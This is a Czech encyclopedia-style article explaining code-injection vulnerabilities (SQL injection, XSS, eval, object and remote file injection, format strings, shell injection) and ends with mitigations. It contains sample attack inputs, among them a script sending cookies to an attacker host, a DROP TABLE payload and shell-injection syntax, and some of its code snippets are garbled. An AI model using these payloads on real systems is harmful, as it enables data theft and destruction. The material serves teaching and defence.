SQL injectionEdit
Příklad uvažujme webovou stránku, která má dvě pole umožňující uživatelům zadat uživatelské jméno a heslo. Kód za stránkou vygeneruje dotaz SQL, který porovná heslo se seznamem uživatelských jmen:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'
Pokud tento dotaz vrátí nějaké řádky, je přístup povolen. Pokud však škodlivý uživatel zadá platné uživatelské jméno a do pole Heslo vloží nějaký platný kód (password' OR '1'='1
), pak bude výsledný dotaz vypadat takto:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'
V uvedeném příkladu se předpokládá, že „Heslo“ je prázdné nebo nějaký neškodný řetězec. „'1'='1'
“ bude vždy pravdivý a bude vráceno mnoho řádků, čímž bude umožněn přístup.
Tuto techniku lze zdokonalit tak, aby bylo možné spustit více příkazů nebo dokonce načíst a spustit externí programy.
Předpokládejme dotaz v následujícím formátu:
SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '
Pokud má protivník za vstupy:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
dotaz bude analyzován takto:
SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
Výsledkem bude, že tabulka User
bude z databáze odstraněna. K tomu dojde, protože symbol ;
znamená konec jednoho příkazu a začátek nového. Symbol --
označuje začátek komentáře.
Cross-site scriptingEdit
Vstřikování kódu je škodlivé vložení nebo zavedení kódu do aplikace. Některé webové servery mají skript knihy návštěv, který přijímá drobné zprávy od uživatelů a obvykle přijímá zprávy typu:
Very nice site!
Zlomyslná osoba však může vědět o zranitelnosti vložení kódu do knihy návštěv a zadá zprávu typu:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Pokud stránku zobrazí jiný uživatel, pak se vložený kód spustí. Tento kód může útočníkovi umožnit vydávat se za jiného uživatele. Stejnou softwarovou chybu však může náhodně spustit i nenápadný uživatel, což způsobí, že se na webové stránce zobrazí špatný kód HTML.
Vstřikování HTML a skriptů je populární téma, běžně označované jako „cross-site scripting“ nebo „XSS“. XSS označuje chybu ve vstřikování, kdy je uživatelský vstup do webového skriptu nebo něco podobného umístěn do výstupního HTML, aniž by byl zkontrolován kód HTML nebo skriptování.
Mnoho těchto problémů souvisí s chybnými předpoklady o tom, jaké vstupní údaje jsou možné, nebo s účinky zvláštních údajů.
Zranitelnosti dynamického vyhodnocováníEdit
Zranitelnost eval()
vstřikování vzniká, když útočník může kontrolovat celý vstupní řetězec nebo jeho část, který je vložen do volání funkce eval()
.
$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');
Argument „eval
“ bude zpracován jako PHP, takže mohou být připojeny další příkazy. Pokud je například „arg“ nastaven na „10; system('/bin/echo uh-oh')
„, spustí se další kód, který spustí program na serveru, v tomto případě „/bin/echo
„.
Object injectionEdit
PHP umožňuje serializaci a deserializaci celých objektů. Pokud je do deserializační funkce povolen nedůvěryhodný vstup, je možné přepsat existující třídy v programu a provést škodlivý útok. Takový útok na systém Joomla byl nalezen v roce 2013.
Remote file injectionEdit
Považte tento program PHP (který obsahuje soubor zadaný požadavkem):
<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');
Příklad by mohl být čten tak, že by mohly být načteny pouze barevné soubory jako blue.php
a red.php
, zatímco útočníci by mohli zadat COLOR=http://evil.com/exploit
způsobující, že PHP načte externí soubor.
Injekce specifikátoru formátuEdit
Chyby ve formátovacím řetězci se nejčastěji objevují, když chce programátor vypsat řetězec obsahující data dodaná uživatelem. Programátor může omylem napsat printf(buffer)
místo printf("%s", buffer)
. První verze interpretuje buffer
jako formátovací řetězec a analyzuje všechny formátovací instrukce, které může obsahovat. Druhá verze prostě vytiskne řetězec na obrazovku, jak programátor zamýšlel. uvažujme následující krátký program v jazyce C, který má lokální proměnnou pole znaků password
, v níž je uloženo heslo; program se zeptá uživatele na celé číslo a řetězec a pak vypíše uživatelem zadaný řetězec.
char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
Je-li uživatelský vstup vyplněn seznamem formátovacích specifikací, například %s%s%s%s%s%s%s%s
, pak printf()
začne číst ze zásobníku. Nakonec jeden ze specifikátorů formátu %s
přistoupí k adrese password
, která je na zásobníku, a vypíše Password1
na obrazovku.
Shell injectionEdit
Shell injection (nebo také command injection) je pojmenován podle unixových shellů, ale vztahuje se na většinu systémů, které umožňují softwaru programově vykonávat příkazový řádek. Zde je příklad zranitelného skriptu tcsh:
#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches
Pokud je výše uvedený příkaz uložen ve spustitelném souboru ./check
, příkaz shellu ./check " 1 ) evil"
se pokusí provést injektovaný příkaz shellu evil
místo porovnání argumentu s konstantou. Zde je napadeným kódem kód, který se snaží zkontrolovat parametr, tedy právě ten kód, který se mohl pokusit parametr ověřit, aby se ubránil útoku.
Každá funkce, kterou lze použít k sestavení a spuštění příkazu shellu, je potenciálním prostředkem pro provedení útoku shell injection. Mezi ně patří system()
, StartProcess()
a System.Diagnostics.Process.Start()
.
Systémy klient-server, jako je interakce webového prohlížeče s webovými servery, jsou potenciálně zranitelné vůči nástroji shell injection. Uvažujme následující krátký program PHP, který může být spuštěn na webovém serveru, aby spustil externí program s názvem funnytext
a nahradil slovo, které uživatel poslal, nějakým jiným slovem.
<?phppassthru("/bin/funnytext " . $_GET);
Příkaz passthru
ve výše uvedeném příkladu sestavuje příkaz shellu, který je poté spuštěn webovým serverem. Protože část příkazu, který skládá, je převzata z adresy URL poskytnuté webovým prohlížečem, umožňuje to injektovat škodlivé příkazy shellu. Do tohoto programu lze injektovat kód několika způsoby s využitím syntaxe různých funkcí shellu (tento seznam není vyčerpávající):
Funkce shellu | USER_INPUT hodnota |
Výsledný příkaz shellu | Vysvětlení |
---|---|---|---|
Sekvenční provádění | ; malicious_command |
/bin/funnytext ; malicious_command |
Provede funnytext , poté provede malicious_command . |
Pipeline | | malicious_command |
/bin/funnytext | malicious_command |
Odesílá výstup funnytext jako vstup do malicious_command . |
Zastupování příkazů | `malicious_command` |
/bin/funnytext `malicious_command` |
Odesílá výstup malicious_command jako argumenty do funnytext . |
Zastupování příkazů | $(malicious_command) |
/bin/funnytext $(malicious_command) |
Odesílá výstup malicious_command jako argumenty do funnytext . |
AND list | && malicious_command |
/bin/funnytext && malicious_command |
Vykoná malicious_command , pokud funnytext vrátí výstupní stav 0 (úspěch). |
OR list | || malicious_command |
/bin/funnytext || malicious_command |
Vykoná malicious_command iff funnytext vrátí nenulový stav ukončení (chyba). |
Output redirection | > ~/.bashrc |
/bin/funnytext > ~/.bashrc |
Přepisuje obsah souboru .bashrc výstupem funnytext . |
Přesměrování vstupu | < ~/.bashrc |
/bin/funnytext < ~/.bashrc |
Odesílá obsah souboru .bashrc jako vstup do funnytext . |
Některé jazyky nabízejí funkce pro správné escapování nebo uvozování řetězců, které se používají ke konstrukci příkazů shellu:
- PHP:
escapeshellarg()
aescapeshellcmd()
- Python:
shlex.quote()
To však stále klade břemeno na programátory, aby se o těchto funkcích dozvěděli/naučili a nezapomněli je použít při každém použití příkazů shellu. Kromě používání těchto funkcí se také doporučuje validovat nebo sanitizovat uživatelský vstup.
Bezpečnější alternativou je používat rozhraní API, která spouštějí externí programy přímo, nikoli prostřednictvím shellu, čímž se zabrání možnosti shell injection. Tato rozhraní API však obvykle nepodporují různé komfortní funkce shellu a/nebo jsou ve srovnání se stručnou syntaxí shellu těžkopádnější/obtížnější.